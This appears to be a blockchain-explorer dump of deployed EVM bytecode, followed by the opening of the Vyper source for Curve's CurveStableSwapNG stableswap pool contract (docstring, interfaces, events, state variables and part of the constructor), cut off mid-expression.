805160e05260605161010052602060c0604460dc5f855af1612cc4573d5f5f3e3d5ffd5b3d612cdb57803b1561522657600161012052612cf3565b60203d106152265760c0518060011c61522657610120525b610120905051156152265760a051606051808203828111615226579050905060405160015481101561522657600201555b565b60206156b35f395f5160208160051b01806156b360403950505f60206154135f395f516008811161522657801561303a57905b8061016052600160206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f5118612db65760206101605160206157d35f395f518110156152265760051b610400016153f3015f395f511515612db8565b5f5b612ee757600360206101605160206155735f395f518110156152265760051b6101a0016153f3015f395f511861302f57670de0b6b3a7640000610160516040518110156152265760051b6060015160206101605160206154535f395f518110156152265760051b6080016153f3015f395f516307a2d13a6101805260206101605160206158f35f395f518110156152265760051b610520016153f3016101a0396020610180602461019c845afa612e71573d5f5f3e3d5ffd5b60203d106152265761018090505180820281158383830414171561522657905090506020610160516020615a135f395f518110156152265760051b610640016153f3015f395f51808202811583838304141715615226579050905004610160516040518110156152265760051b6060015261302f565b60206101605160206157d35f395f518110156152265760051b610400016153f3015f395f5173ffffffffffffffffffffffffffffffffffffffff811690508060a01c615226575a7fffffffff0000000000000000000000000000000000000000000000000000000060206101605160206157d35f395f518110156152265760051b610400016153f3015f395f51166101e05260206101c0526101c05060206102206101c0516101e08585fa90509050612fa2573d5f5f3e3d5ffd5b3d602081183d60201002186102005261020080516101805260208101516101a0525060206101805118615226576101a0516101805160200360031b1c6101c052670de0b6b3a7640000610160516040518110156152265760051b606001516101c051808202811583838304141715615226579050905004610160516040518110156152265760051b606001525b600101818118612d59575b505060405160208160051b01808382604060045afa50505050565b5f6040525f610160525f60206154135f395f516008811161522657801561316d57905b806101805260206156935f395f516130c557610180516001548110156152265760020154610180516010548110156152265760110154808203828111615226579050905061016052613143565b60206101805160206154535f395f518110156152265760051b6080016153f3015f395f516370a082316101a052306101c05260206101a060246101bc845afa613110573d5f5f3e3d5ffd5b60203d10615226576101a09050516101805160105481101561522657601101548082038281116152265790509050610160525b6040516007811161522657610160518160051b606001526001810160405250600101818118613078575b505060405160208160051b01808382604060045afa50505050565b5f610280525f60206154135f395f516008811161522657801561321f57905b806103a052610280516007811161522657670de0b6b3a76400006103a0516040518110156152265760051b606001516103a051610160518110156152265760051b61018001518082028115838383041417156152265790509050048160051b6102a001526001810161028052506001018181186131a7575b50506102805160208160051b0180838261028060045afa50505050565b600f54604052600d5460605260405142106132605760605181525061334556613345565b600c54608052600e5460a052608051606051116132e257608051606051608051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a051808203828111615226579050905080156152265780820490509050808203828111615226579050905081525061334556613345565b608051608051606051034260a0518082038281116152265790509050808202811583838304141715615226579050905060405160a05180820382811161522657905090508015615226578082049050905080820182811061522657905090508152505b565b5f610180525f6040516008811161522657801561339157905b8060051b606001516101a052610180516101a051808201828110615226579050905061018052600101818118613360575b5050610180516133a4575f8152506135bd565b610180516101a0526101605160206153f35f395f5180820281158383830414171561522657905090506101c0525f60ff905b806101e0526101a051610200525f6040516008811161522657801561343f57905b8060051b6060015161022052610200516101a05180820281158383830414171561522657905090506102205180156152265780820490509050610200526001018181186133f7575b50506102005160206153f35f395f5160206153f35f395f510a80156152265780820490509050610200526101a0516102205260646101c051610180518082028115838383041417156152265790509050046102005160206153f35f395f51808202811583838304141715615226579050905080820182811061522657905090506101a051808202811583838304141715615226579050905060646101c051606481038181116152265790506101a051808202811583838304141715615226579050905004600160206153f35f395f51016102005180820281158383830414171561522657905090508082018281106152265790509050801561522657808204905090506101a052610220516101a05111613582576001610220516101a0518082038281116152265790509050116135ad576101a05183525050506135bd566135ad565b60016101a051610220518082038281116152265790509050116135ad576101a05183525050506135bd565b6001018181186133d65750505f5ffd5b565b60605160405114615226575f606051126152265760206154135f395f516060511215615226575f604051126152265760206154135f395f516040511215615226576101c051610200526101e0516102205260603661024037610220516102a0526102005160206153f35f395f5180820281158383830414171561522657905090506102c0525f6008905b806102e05260206154135f395f516102e051186136655761371f565b6040516102e0511861367d57608051610260526136ab565b6060516102e05114613714576102e05160a0518110156152265760051b60c00151610260526136ab56613714565b61024051610260518082018281106152265790509050610240526102a0516102205180820281158383830414171561522657905090506102605160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0525b600101818118613649575b50506102a051610220518082028115838383041417156152265790509050606481028160648204186152265790506102c05160206153f35f395f518082028115838383041417156152265790509050801561522657808204905090506102a0526102405161022051606481028160648204186152265790506102c0518015615226578082049050905080820182811061522657905090506102e05261022051610300525f60ff905b80610320526103005161028052610300516103005180820281158383830414171561522657905090506102a0518082018281106152265790509050610300518060011b818160011c186152265790506102e0518082018281106152265790509050610220518082038281116152265790509050801561522657808204905090506103005261028051610300511161388757600161028051610300518082038281116152265790509050116138b2576103005183525050506138c2566138b2565b600161030051610280518082038281116152265790509050116138b2576103005183525050506138c2565b6001018181186137c75750505f5ffd5b565b600b5460a0526402540be40060a051116138e357608051815250613982565b60405160605180820182811061522657905090506fffffffffffffffffffffffffffffffff8111615226576002810a905060c0526402540be4006402540be40060a051038060021b818160021c186152265790506040518082028115838383041417156152265790509050606051808202811583838304141715615226579050905060c051801561522657808204905090500160805160a05102048152505b565b6fffffffffffffffffffffffffffffffff60405116815260405160801c602082015250565b60206153f35f395f5161016051026101a05260206153f35f395f5160206153f35f395f510a61018051046101c0525f60206154135f395f5160088111615226578015613a4357905b806101e0526101c0516101805180820281158383830414171561522657905090506101e0516040518110156152265760051b60600151801561522657808204905090506101c0526001018181186139f1575b50505f6101e05260646101a05160405115615226575f60051b6060015180820281158383830414171561522657905090500461030052600160078101905b806103205260206153f35f395f516103205118613a9d57613b57565b6101e051600781116152265761030051610320516040518110156152265760051b606001516101c05160405115615226575f60051b606001518082028115838383041417156152265790509050048082018281106152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610300516101c0518082018281106152265790509050801561522657808204905090508160051b6102000152600181016101e05250600101818118613a81575b50506101e05160208160051b018083826101e060045afa50505050565b6040516060527ffffffffffffffffffffffffffffffffffffffffffffffffdc0d0570925a462d760405113613bac575f815250613dc4565b680755bf798b4a1bf1e46040511315613c1b5760106080527f7761645f657870206f766572666c6f770000000000000000000000000000000060a0526080506080518060a001601f825f031636823750506308c379a06040526020606052601f19601f6080510116604401605cfd5b6503782dace9d9604051604e1b056060526b8000000000000000000000006bb17217f7d1cf79abc9e3b39860605160601b050160601d6080526bb17217f7d1cf79abc9e3b39860805102606051036060526d02d16720577bd19bf614176fe9ea6060516c10fe68e7fd37d0007b713f7650606051010260601d0160a05279d835ebba824c98fb31b83b2ca45c0000000000000000000000006060516e0587f503bb6ea29d25fcb74019645060a0516d04a4fd9f2a8b96949216d2255a6c60605160a05101030260601d01020160c0526d0277594991cfc85f6e2461837cd96060516c240c330e9fb2d9cbaf0fd5aafc606051030260601d0160e0526d1a521255e34f6a5061b25ef1c9c460605160e0510260601d0360e0526db1bbb201f443cf962f1a1d3db4a560605160e0510260601d0160e0526e02c72388d9f74f51a9331fed693f1560605160e0510260601d0360e0526e05180bb14799ab47a8a8cb2a527d5760605160e0510260601d0160e05260e05160c051056101005274029d9dc38563c32e5c2f6dc192ee70ef65f9978af3610100510260805160c3035f8112615226571c8152505b565b6fffffffffffffffffffffffffffffffff6101205116610180526101205160801c6101a05242610160511015613ec65761014051670de0b6b3a764000061016051420302048060ff1c615226577f80000000000000000000000000000000000000000000000000000000000000008114615226575f03604052613e4a6101e0613b74565b6101e0516101c052670de0b6b3a7640000610180516101c05180670de0b6b3a764000003670de0b6b3a7640000811161522657905080820281158383830414171561522657905090506101a0516101c0518082028115838383041417156152265790509050808201828110615226579050905004815250613ece565b6101a0518152505b565b602554604052613ee16104e0613984565b6104e060406104a060408360045afa505060195460208160051b015f81601f0160051c60098111615226578015613f2d57905b80601901548160051b6104e00152600101818118613f14575b505050506104e05160208160051b0180610600826104e060045afa5050506103405160208160051b018060408261034060045afa50505061046051610160526104805161018052613f7f6108406139a9565b610840805160208160051b0180610720828560045afa505050505f6008905b806108405260206153f35f395f51600181038181116152265790506108405118613fc757614096565b61084051610720518110156152265760051b61074001511561408b5761084051610720518110156152265760051b6107400151671bc16d674ec80000818118671bc16d674ec800008310021890506108a052610840516104e0518110156152265760051b610500015161012052602354610140526104a0516101605261404e610860613dc6565b610860516108c0526040604060406108a060045afa5061406f610880612952565b6108805161084051610600518110156152265760051b61062001525b600101818118613f9e575b50506106005160208160051b015f81601f0160051c600981116152265780156140d457905b8060051b610600015181601901556001018181186140bb575b5050505060225461084052610480516108a0526108405161012052602454610140526104c05161016052614109610860613dc6565b610860516108c0526040604060406108a060045afa5061412a610880612952565b610880516022555f6002905b80610860524261086051600181116152265760051b6104a00151101561416c574261086051600181116152265760051b6104a001525b6001018181186141365750506104a0516040526104c051606052614191610860612952565b61086051602555565b6141a5610c2061323c565b610c2051610c00526109805160208160051b018060408261098060045afa505050610c0051610160526141d9610c40613347565b610c4051610c2052610bc051604052610be051606052610960516080526109805160208160051b018060a08261098060045afa505050610c00516101c052610c20516101e05261422a610c606135bf565b610c6051610c4052610be051610980518110156152265760051b6109a00151610c4051808203828111615226579050905060018103818111615226579050610c60526402540be400610c6051610bc051610980518110156152265760051b6109a0015161096051808201828110615226579050905060011c604052610be051610980518110156152265760051b6109a00151610c4051808201828110615226579050905060011c606052600a546080526142e5610ca06138c4565b610ca051808202811583838304141715615226579050905004610c8052610c6051610c80518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050610be051610aa0518110156152265760051b610ac0015180156152265780820490509050610c6052610be051601054811015615226576011018054610be051610aa0518110156152265760051b610ac001516402540be400610c805164012a05f20081028164012a05f20082041861522657905004670de0b6b3a7640000810281670de0b6b3a76400008204186152265790500480820182811061522657905090508155506109805160208160051b0180610ca08261098060045afa50505061096051610bc051610ca0518110156152265760051b610cc00152610c4051610be051610ca0518110156152265760051b610cc00152610ca05160208160051b018061034082610ca060045afa505050610c005161046052610c20516104805261445d613ed0565b610c6051815250565b610e0051610de0511461522657610e20511561522657614487610fc0612d26565b610fc0805160208160051b0180610ea0828560045afa505050506144ac6110e0613055565b6110e0805160208160051b0180610fc0828560045afa50505050610ea05160208160051b0180604082610ea060045afa505050610fc05160208160051b018061016082610fc060045afa505050614504611200613188565b611200805160208160051b01806110e0828560045afa50505050610de051604052610e2051606052610dc051608052610e805160a052614545611220612993565b6112205161120052610de0516110e0518110156152265760051b6111000151670de0b6b3a764000061120051610de051610ea0518110156152265760051b610ec0015180820281158383830414171561522657905090500480820182811061522657905090506112205261122051610960526110e05160208160051b0180610980826110e060045afa505050610ea05160208160051b0180610aa082610ea060045afa505050610de051610bc052610e0051610be05261460661126061419a565b6112605161124052610e40516112405110156146a657602e611260527f45786368616e676520726573756c74656420696e20666577657220636f696e73611280527f207468616e2065787065637465640000000000000000000000000000000000006112a05261126050611260518061128001601f825f031636823750506308c379a061122052602061124052601f19601f61126051011660440161123cfd5b610e005160405261124051606052610e60516080526146c3612b55565b337f8b3e96f2b889fa771c53c981b40daf005f63f637f1869f707052d15a3dd97140610de051611260526112005161128052610e00516112a052611240516112c0526080611260a261124051815250565b6103c05160208160051b01806040826103c060045afa5050506104e05160208160051b0180610160826104e060045afa505050614752610740613188565b610740805160208160051b0180610620828560045afa505050506106205160208160051b018060408261062060045afa5050506106005161016052614798610740613347565b61074051815250565b5f606051126152265760206154135f395f516060511215615226576060366101c0376101a0516102205260405160206153f35f395f518082028115838383041417156152265790509050610240525f6008905b806102605260206154135f395f516102605118614810576148b2565b60605161026051146148a757610260516080518110156152265760051b60a001516101e05261483e566148a7565b6101c0516101e05180820182811061522657905090506101c052610220516101a05180820281158383830414171561522657905090506101e05160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220525b6001018181186147f4575b5050610220516101a0518082028115838383041417156152265790509050606481028160648204186152265790506102405160206153f35f395f51808202811583838304141715615226579050905080156152265780820490509050610220526101c0516101a0516064810281606482041861522657905061024051801561522657808204905090508082018281106152265790509050610260526101a051610280525f60ff905b806102a052610280516102005261028051610280518082028115838383041417156152265790509050610220518082018281106152265790509050610280518060011b818160011c186152265790506102605180820182811061522657905090506101a05180820382811161522657905090508015615226578082049050905061028052610200516102805111614a1a5760016102005161028051808203828111615226579050905011614a4557610280518352505050614a5556614a45565b60016102805161020051808203828111615226579050905011614a4557610280518352505050614a55565b60010181811861495a5750505f5ffd5b565b614a6261042061323c565b6104205161040052614a75610540612d26565b610540805160208160051b0180610420828560045afa505050506104205160208160051b01806108a08261042060045afa505050614ab4610660613055565b610660805160208160051b01806109c0828560045afa5050505061024060406102406108a060045afa50614ae9610780613188565b610780805160208160051b0180610540828560045afa505050506105405160208160051b018060408261054060045afa5050506104005161016052614b2f610680613347565b610680516106605260285461068052610660516103c051610660518082028115838383041417156152265790509050610680518015615226578082049050905080820382811161522657905090506106a052610400516040526103e0516060526105405160208160051b018060808261054060045afa5050506106a0516101a052614bbb6106e06147a1565b6106e0516106c052600160206153f35f395f510360021b60206153f35f395f51600a5402046106e0526105405160208160051b01806107008261054060045afa50505060206153f35f395f5160011b610660516106a05180820182811061522657905090500461082052608036610840375f6008905b806108c05260206154135f395f516108c05118614c4d57614daa565b5f610840526108c051610540518110156152265760051b6105600151610860526103e0516108c05118614cdf57610860516106a051808202811583838304141715615226579050905061066051801561522657808204905090506106c051808203828111615226579050905061084052610860516106c051808201828110615226579050905060011c61088052614d2b565b61086051610860516106a0518082028115838383041417156152265790509050610660518015615226578082049050905080820382811161522657905090506108405261086051610880525b61088051604052610820516060526106e051608052614d4b6108e06138c4565b6108e0516108a052610860516402540be4006108a0516108405180820281158383830414171561522657905090500480820382811161522657905090506108c051610700518110156152265760051b6107200152600101818118614c31575b50506103e051610700518110156152265760051b6107200151610400516040526103e0516060526107005160208160051b018060808261070060045afa5050506106a0516101a052614dfd6108e06147a1565b6108e05180820382811161522657905090506108c0526103e051610540518110156152265760051b61056001516106c0518082038281116152265790509050670de0b6b3a7640000810281670de0b6b3a76400008204186152265790506103e051610420518110156152265760051b6104400151801561522657808204905090506108e0526103e051610420518110156152265760051b61044001516108c05160018103818111615226579050670de0b6b3a7640000810281670de0b6b3a7640000820418615226579050046108c0526106c0516103e051610540518110156152265760051b61056001526108c05181526108e0516108c051808203828111615226579050905060208201526105405160208160051b016040830181818361054060045afa50505050610400516101608201526106a05161018082015250565b602854606051808203828111615226579050905060285560266040516020525f5260405f20805460605180820382811161522657905090508155505f6040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60605160805260206080a3565b60206154335f395f5163cab4d3db610160526020610160600461017c845afa614fd5573d5f5f3e3d5ffd5b60203d1061522657610160518060a01c615226576101a0526101a0905051610140526101405161500457615115565b60105460208160051b015f81601f0160051c6009811161522657801561503f57905b80601001548160051b6101600152600101818118615026575b505050505f60206154135f395f51600881116152265780156150d257905b806102805261028051610160518110156152265760051b6101800151156150c7576102805160405261028051610160518110156152265760051b6101800151606052610140516080526150ae612b55565b5f61028051610160518110156152265760051b61018001525b60010181811861505d575b50506101605160208160051b015f81601f0160051c6009811161522657801561511057905b8060051b610160015181601001556001018181186150f7575b505050505b565b6020615bf35f395f51461461519f577fd87cd6ef79d4e2b95e15ce8abf732db51ec771f1ca2edccf22a46c729ac564726060526020615bd36080397f1c54f243822e0e9a0a377610b81577e771b3efe79964e76636b0d5d10247950d60a0524660c0523060e0526020615c136101003960c060405260408051602082012090508152506151a8565b6020615c338239505b565b60266040516020525f5260405f208054608051808203828111615226579050905081555060266060516020525f5260405f20805460805180820182811061522657905090508155506060516040517fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60805160a052602060a0a3565b5f80fd0299538309065752a30a809452480d1cfc52e90c008153c207076c533d0ad40ddb8c1550652081066c00dc059c4258c4011a053931ab5219c72554fd4d5001c90576a9cd3e255e455e604cd2156085b72df5de03f4651a4d01d20bff6567df02ca207a6529357750006705e2e7d26400f425ec0238621a1025fd0684b124f20518160ddd220405a9059cbb1baa4570a0823102372530c5408519ac05ddca3f43009d055e0d443f21266506fdde03013205a7256d0903fe85c66106570075258edfdd5f00a905ddc1f59d02dea5cc2b27d721d24590d2083719f3253644e515206805313ce56701be05081579a50c09851ddc3b01012605d505accf1d3de5bfa0b13302c60595d89b410178051be913a5010e057706db750e1765fee3f7f900b505095ea7b31cd54514f0597924860565bbea6b28be45907a016b1b7705b4b577ad00d0054903b0d1245e2523b872dd1bdb65687276531b27252969e04a157aa5551a65882761051405228800e8055409491a00c405015c28382803454a6e32c60e21857ecebe0002a0257e3db030035d85dd62ed3e025d45bb7b8b802219053c157e6426034576a2f0f0244e053df0212402d485f446c1d02435053db06dd8232565afb430120367a5000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000020000000000000000000000006a8cbed756804b16e05e741edabd5cb544ae21bf0000000000000000000000000000000000000000000000000000000000000002000000000000000000000000668308d77be3533c909a692302cb4d135bf8041c000000000000000000000000ac3e018457b222d93114458476f3e3416abbe38f000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000200000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000de0b6b3a76400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002679aefce000000000000000007f86901057f392fd3a508b8abcbaafb08c13b1e00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000002000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000011696e736672784554482f736672784554480000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000a637276696e667845544800000000000000000000000000000000000000000000c85f2e2794df5aed4fde4dacaffa489f0a4a32467cfa4fbf4f1042c7021544190000000000000000000000000000000000000000000000000000000000000001fcde259ae8ae9c03984d38209e7f815f2a4cacd0c9f5d53326daedc5125218985b1ab28c837d6ce99afdff6efa199482c226882d2cd5f06e44268a7567319075
# pragma version 0.3.10 # pragma optimize codesize # pragma evm-version shanghai """ @title CurveStableSwapNG @author Curve.Fi @license Copyright (c) Curve.Fi, 2020-2023 - all rights reserved @notice Stableswap implementation for up to 8 coins with no rehypothecation, i.e. the AMM does not deposit tokens into other contracts. The Pool contract also records exponential moving averages for coins relative to coin 0. @dev Asset Types: 0. Standard ERC20 token with no additional features. Note: Users are advised to do careful due-diligence on ERC20 tokens that they interact with, as this contract cannot differentiate between harmless and malicious ERC20 tokens. 1. Oracle - token with rate oracle (e.g. wstETH) Note: Oracles may be controlled externally by an EOA. Users are advised to proceed with caution. 2. Rebasing - token with rebase (e.g. stETH). Note: Users and Integrators are advised to understand how the AMM contract works with rebasing balances. 3. ERC4626 - token with convertToAssets method (e.g. sDAI). Note: Some ERC4626 implementations may be susceptible to Donation/Inflation attacks. Users are advised to proceed with caution. NOTE: Pool Cannot support tokens with multiple asset types: e.g. ERC4626 with fees are not supported. Supports: 1. ERC20 support for return True/revert, return True/False, return None 2. ERC20 tokens can have arbitrary decimals (<=18). 3. ERC20 tokens that rebase (either positive or fee on transfer) 4. ERC20 tokens that have a rate oracle (e.g. wstETH, cbETH, sDAI, etc.) Note: Oracle precision _must_ be 10**18. 5. ERC4626 tokens with arbitrary precision (<=18) of Vault token and underlying asset. Additional features include: 1. Adds price oracles based on AMM State Price (and _not_ last traded price). 2. Adds TVL oracle based on D. 3. `exchange_received`: swaps that expect an ERC20 transfer to have occurred prior to executing the swap. Note: a. If pool contains rebasing tokens and one of the `asset_types` is 2 (Rebasing) then calling `exchange_received` will REVERT. b. If pool contains rebasing token and `asset_types` does not contain 2 (Rebasing) then this is an incorrect implementation and rebases can be stolen. 4. Adds `get_dx`: Similar to `get_dy` which returns an expected output of coin[j] for given `dx` amount of coin[i], `get_dx` returns expected input of coin[i] for an output amount of coin[j]. 5. Fees are dynamic: AMM will charge a higher fee if pool depegs. This can cause very slight discrepancies between calculated fees and realised fees. """ from vyper.interfaces import ERC20 from vyper.interfaces import ERC20Detailed from vyper.interfaces import ERC4626 implements: ERC20 # ------------------------------- Interfaces --------------------------------- interface Factory: def fee_receiver() -> address: view def admin() -> address: view def views_implementation() -> address: view interface ERC1271: def isValidSignature(_hash: bytes32, _signature: Bytes[65]) -> bytes32: view interface StableSwapViews: def get_dx(i: int128, j: int128, dy: uint256, pool: address) -> uint256: view def get_dy(i: int128, j: int128, dx: uint256, pool: address) -> uint256: view def dynamic_fee(i: int128, j: int128, pool: address) -> uint256: view def calc_token_amount( _amounts: DynArray[uint256, MAX_COINS], _is_deposit: bool, _pool: address ) -> uint256: view # --------------------------------- Events ----------------------------------- event Transfer: sender: indexed(address) receiver: indexed(address) value: uint256 event Approval: owner: indexed(address) spender: indexed(address) value: uint256 event TokenExchange: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event TokenExchangeUnderlying: buyer: indexed(address) sold_id: int128 tokens_sold: uint256 bought_id: int128 tokens_bought: uint256 event AddLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RemoveLiquidity: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] token_supply: uint256 event RemoveLiquidityOne: provider: indexed(address) token_id: int128 token_amount: uint256 coin_amount: uint256 token_supply: uint256 event RemoveLiquidityImbalance: provider: indexed(address) token_amounts: DynArray[uint256, MAX_COINS] fees: DynArray[uint256, MAX_COINS] invariant: uint256 token_supply: uint256 event RampA: old_A: uint256 new_A: uint256 initial_time: uint256 future_time: uint256 event StopRampA: A: uint256 t: uint256 event ApplyNewFee: fee: uint256 offpeg_fee_multiplier: uint256 event SetNewMATime: ma_exp_time: uint256 D_ma_time: uint256 MAX_COINS: constant(uint256) = 8 # max coins is 8 in the factory MAX_COINS_128: constant(int128) = 8 # ---------------------------- Pool Variables -------------------------------- N_COINS: public(immutable(uint256)) N_COINS_128: immutable(int128) PRECISION: constant(uint256) = 10 ** 18 factory: immutable(Factory) coins: public(immutable(DynArray[address, MAX_COINS])) asset_types: immutable(DynArray[uint8, MAX_COINS]) pool_contains_rebasing_tokens: immutable(bool) stored_balances: DynArray[uint256, MAX_COINS] # Fee specific vars FEE_DENOMINATOR: constant(uint256) = 10 ** 10 fee: public(uint256) # fee * 1e10 offpeg_fee_multiplier: public(uint256) # * 1e10 admin_fee: public(constant(uint256)) = 5000000000 MAX_FEE: constant(uint256) = 5 * 10 ** 9 # ---------------------- Pool Amplification Parameters ----------------------- A_PRECISION: constant(uint256) = 100 MAX_A: constant(uint256) = 10 ** 6 MAX_A_CHANGE: constant(uint256) = 10 initial_A: public(uint256) future_A: public(uint256) initial_A_time: public(uint256) future_A_time: public(uint256) # ---------------------------- Admin Variables ------------------------------- MIN_RAMP_TIME: constant(uint256) = 86400 admin_balances: public(DynArray[uint256, MAX_COINS]) # ----------------------- Oracle Specific vars ------------------------------- rate_multipliers: immutable(DynArray[uint256, MAX_COINS]) # [bytes4 method_id][bytes8 <empty>][bytes20 oracle] rate_oracles: immutable(DynArray[uint256, MAX_COINS]) # For ERC4626 tokens, we need: call_amount: immutable(DynArray[uint256, MAX_COINS]) scale_factor: immutable(DynArray[uint256, MAX_COINS]) last_prices_packed: DynArray[uint256, MAX_COINS] # packing: last_price, ma_price last_D_packed: uint256 # packing: last_D, ma_D ma_exp_time: public(uint256) D_ma_time: public(uint256) ma_last_time: public(uint256) # packing: ma_last_time_p, ma_last_time_D # ma_last_time has a distinction for p and D because p is _not_ updated if # users remove_liquidity, but D is. # shift(2**32 - 1, 224) ORACLE_BIT_MASK: constant(uint256) = (2**32 - 1) * 256**28 # --------------------------- ERC20 Specific Vars ---------------------------- name: public(immutable(String[64])) symbol: public(immutable(String[32])) decimals: public(constant(uint8)) = 18 version: public(constant(String[8])) = "v7.0.0" balanceOf: public(HashMap[address, uint256]) allowance: public(HashMap[address, HashMap[address, uint256]]) total_supply: uint256 nonces: public(HashMap[address, uint256]) # keccak256("isValidSignature(bytes32,bytes)")[:4] << 224 ERC1271_MAGIC_VAL: constant(bytes32) = 0x1626ba7e00000000000000000000000000000000000000000000000000000000 EIP712_TYPEHASH: constant(bytes32) = keccak256("EIP712Domain(string name,string version,uint256 chainId,address verifyingContract,bytes32 salt)") EIP2612_TYPEHASH: constant(bytes32) = keccak256("Permit(address owner,address spender,uint256 value,uint256 nonce,uint256 deadline)") VERSION_HASH: constant(bytes32) = keccak256(version) NAME_HASH: immutable(bytes32) CACHED_CHAIN_ID: immutable(uint256) salt: public(immutable(bytes32)) CACHED_DOMAIN_SEPARATOR: immutable(bytes32) # ------------------------------ AMM Setup ----------------------------------- @external def __init__( _name: String[32], _symbol: String[10], _A: uint256, _fee: uint256, _offpeg_fee_multiplier: uint256, _ma_exp_time: uint256, _coins: DynArray[address, MAX_COINS], _rate_multipliers: DynArray[uint256, MAX_COINS], _asset_types: DynArray[uint8, MAX_COINS], _method_ids: DynArray[bytes4, MAX_COINS], _oracles: DynArray[address, MAX_COINS], ): """ @notice Initialize the pool contract @param _name Name of the new plain pool. @param _symbol Symbol for the new plain pool. @param _A Amplification co-efficient - a lower value here means less tolerance for imbalance within the pool's assets. Suggested values include: * Uncollateralized algorithmic stablecoins: 5-10 * Non-redeemable, collateralized assets: 100 * Redeemable assets: 200-400 @param _fee Trade fee, given as an integer with 1e10 precision. The the maximum is 1% (100000000). 50% of the fee is distributed to veCRV holders. @param _offpeg_fee_multiplier A multiplier that determines how much to increase Fees by when assets in the AMM depeg. Example value: 20000000000 @param _ma_exp_time Averaging window of oracle. Set as time_in_seconds / ln(2) Example: for 10 minute EMA, _ma_exp_time is 600 / ln(2) ~= 866 @param _coins List of addresses of the coins being used in the pool. @param _rate_multipliers An array of: [10 ** (36 - _coins[n].decimals()), ... for n in range(N_COINS)] @param _asset_types Array of uint8 representing tokens in pool @param _method_ids Array of first four bytes of the Keccak-256 hash of the function signatures of the oracle addresses that gives rate oracles. Calculated as: keccak(text=event_signature.replace(" ", ""))[:4] @param _oracles Array of rate oracle addresses. """ coins = _coins asset_types = _asset_types pool_contains_rebasing_tokens = 2 in asset_types __n_coins: uint256 = len(_coins) N_COINS = __n_coins N_COINS_128 = convert(__n_coins, int128) rate_multipliers = _rate_multipliers factory = Factory(msg.sender) A: uint256 = unsafe_mul(_A, A_PRECISION) self.initial_A = A self.future_A = A self.fee = _fee self.offpeg_fee_multiplier = _offpeg_fee_multiplier assert _ma_exp_time != 0 self.ma_exp_time = _ma_exp_time self.D_ma_time = 62324 # <--------- 12 hours default on contract start. self.ma_last_time = self.pack_2(block.timestamp, block.timestamp) # ------------------- initialize storage for DynArrays ------------------ _call_amount: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _scale_factor: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) _rate_oracles: DynArray[uint256, MAX_COINS] = empty(DynArray[uint256, MAX_COINS]) for i in range(N_COINS_128, bound=MAX_COINS_128): if i < N_COINS_128 - 1: self.last_prices_packed.append(self.pack_2(10**18, 10**18)) _rate_oracles.append(convert(_method_ids[i], uint256) * 2**224 | convert(_oracles[i], uint256)) self.stored_balances.append(0) self.admin_balances.append(0) if _asset_types[i] == 3: _call_amount.append(10**convert(ERC20Detailed(_coins[i]).decimals(), uint256)) _underlying_asset: address = ERC4626(_coins[i]).asset() _scale_factor.append(10**(18 - convert(ERC20Detailed(_underlying_asset).decimals(), uint256))) else: _call_amount.append(0) _scale_factor.append(0) call_amount = _call_amount scale_factor = _scale_factor rate_oracles = _rate_oracles # ----------------------------- ERC20 stuff ------------------------------ name = _name symbol = _symbol # EIP712 related params ----------------- NAME_HASH = keccak256(name) salt = block.prevhash CACHED_CHAIN_ID = chain.id CACHED_DOMAIN_SEPARATOR = keccak256( _abi_encode( EIP712_TYPEHASH, 